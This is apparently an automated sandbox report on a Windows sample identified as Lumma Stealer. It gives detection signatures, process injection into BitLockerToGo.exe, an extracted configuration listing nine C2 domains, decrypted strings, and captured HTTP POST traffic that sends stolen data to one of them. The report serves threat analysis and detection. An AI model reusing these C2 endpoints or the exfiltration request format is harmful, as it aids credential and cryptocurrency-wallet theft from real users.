Edit tour

Windows Analysis Report
6xmBUtHylU.exe

Overview

General Information

Sample name:	6xmBUtHylU.exe renamed because original name is a hash value
Original sample name:	b82c80a3ce9b5c44391d3f11307f8b8e.exe
Analysis ID:	1467945
MD5:	b82c80a3ce9b5c44391d3f11307f8b8e
SHA1:	7480059bc051383eaaf0d83b7f39d7c4989e4dea
SHA256:	ce9b5ec3693188ed91e363e55286cd212f44912b042bd83a924af2f43daaa55f
Tags:	64exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

6xmBUtHylU.exe (PID: 6552 cmdline: "C:\Users\user\Desktop\6xmBUtHylU.exe" MD5: B82C80A3CE9B5C44391D3F11307F8B8E)

BitLockerToGo.exe (PID: 3800 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["benchillppwo.shop", "publicitttyps.shop", "answerrsdo.shop", "radiationnopp.shop", "affecthorsedpo.shop", "bargainnykwo.shop", "bannngwko.shop", "bouncedgowp.shop", "citizencenturygoodwk.shop"], "Build id": "LPnhqo--@SEFYALUV"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2227392089.0000000002885000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2265630337.0000000002831000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2238156888.0000000002885000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2208741125.000000C000374000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000003.00000003.2250362177.0000000002831000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2279583257.000000000283E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 3800	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 3800	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 3800	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 10 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://citizencenturygoodwk.shop:443/api	Avira URL Cloud: Label: malware
Source: https://citizencenturygoodwk.shop/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 3.2.BitLockerToGo.exe.230000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["benchillppwo.shop", "publicitttyps.shop", "answerrsdo.shop", "radiationnopp.shop", "affecthorsedpo.shop", "bargainnykwo.shop", "bannngwko.shop", "bouncedgowp.shop", "citizencenturygoodwk.shop"], "Build id": "LPnhqo--@SEFYALUV"}

Multi AV Scanner detection for domain / URL

Source: citizencenturygoodwk.shop

Virustotal: Detection: 9%

Perma Link

Multi AV Scanner detection for submitted file

Source: 6xmBUtHylU.exe	ReversingLabs: Detection: 42%
Source: 6xmBUtHylU.exe	Virustotal: Detection: 30%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: benchillppwo.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: publicitttyps.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: answerrsdo.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: radiationnopp.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: affecthorsedpo.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bargainnykwo.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bannngwko.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bouncedgowp.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: citizencenturygoodwk.shop
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2208741125.000000C0001BA000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LPnhqo--@SEFYALUV

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00246CD0 CryptUnprotectData,

3_2_00246CD0

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49722 version: TLS 1.2

Source: 6xmBUtHylU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: 6xmBUtHylU.exe, 00000000.00000003.2193938229.00000245F7550000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2195259181.000000C0004DA000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2193969767.00000245F7510000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: 6xmBUtHylU.exe, 00000000.00000003.2193938229.00000245F7550000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2195259181.000000C0004DA000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2193969767.00000245F7510000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0024E880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00248088
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+68h]	3_2_0024709B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, ecx	3_2_0024709B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00250BD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+24h], 0000005Ch	3_2_00263425
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	3_2_00239C30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_00258C4B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+28h]	3_2_0023F490
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_00265512
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0024662A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	3_2_0024AF90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00246790
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp dword ptr [00273570h]	3_2_0025302C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebp	3_2_00231072
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+00000124h], ecx	3_2_00258087
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	3_2_002400F1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00255920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi+eax*4], dx	3_2_00238130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add ecx, dword ptr [esp+eax*4+30h]	3_2_00238130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push edi	3_2_0023C113
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_00253142
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_002699C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	3_2_00256A83
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push esi	3_2_0024F283
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc ebx	3_2_00245A90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	3_2_0023E2D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	3_2_00233350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_0024ABB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00260B80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	3_2_0024DBEE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	3_2_0024DBEE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+24h]	3_2_002403C8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	3_2_00267442
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	3_2_00232CA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_00252C9D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_00269CE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	3_2_002504D6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	3_2_00239510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	3_2_00239510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00233510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ecx	3_2_00254E6B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, edx	3_2_00254E6B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	3_2_002586C4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	3_2_002586C7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], al	3_2_002397D0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: benchillppwo.shop
Source: Malware configuration extractor	URLs: publicitttyps.shop
Source: Malware configuration extractor	URLs: answerrsdo.shop
Source: Malware configuration extractor	URLs: radiationnopp.shop
Source: Malware configuration extractor	URLs: affecthorsedpo.shop
Source: Malware configuration extractor	URLs: bargainnykwo.shop
Source: Malware configuration extractor	URLs: bannngwko.shop
Source: Malware configuration extractor	URLs: bouncedgowp.shop
Source: Malware configuration extractor	URLs: citizencenturygoodwk.shop

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12863Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15109Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19967Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7100Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1264Host: citizencenturygoodwk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584888Host: citizencenturygoodwk.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: citizencenturygoodwk.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: citizencenturygoodwk.shop

Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/.
Source: BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/4Y
Source: BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279500194.0000000002896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/api
Source: BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/api9(
Source: BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2300807361.000000000288C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/api=/
Source: BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/apiP
Source: BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/apiU6
Source: BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002871000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2227392089.0000000002871000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/apiX
Source: BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2300807361.000000000288C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/apie6-
Source: BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/ez
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop/z
Source: BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002823000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop:443/api
Source: BitLockerToGo.exe, 00000003.00000002.2328165604.00000000027E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citizencenturygoodwk.shop:443/apiK
Source: BitLockerToGo.exe, 00000003.00000003.2252075967.0000000004A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: BitLockerToGo.exe, 00000003.00000003.2228157227.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2228157227.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000003.00000003.2228157227.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2252075967.0000000004A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 6xmBUtHylU.exe	String found in binary or memory: https://login.chinacloudapi.cn/http2:
Source: 6xmBUtHylU.exe	String found in binary or memory: https://login.microsoftonline.com/stream
Source: 6xmBUtHylU.exe	String found in binary or memory: https://management.azure.cominvalid
Source: 6xmBUtHylU.exe	String found in binary or memory: https://management.chinacloudapi.cnCONTINUATION
Source: 6xmBUtHylU.exe	String found in binary or memory: https://management.core.chinacloudapi.cnFrame
Source: 6xmBUtHylU.exe	String found in binary or memory: https://management.core.usgovcloudapi.nethttp2:
Source: 6xmBUtHylU.exe	String found in binary or memory: https://management.usgovcloudapi.nethttps://management.core.windows.net/
Source: BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
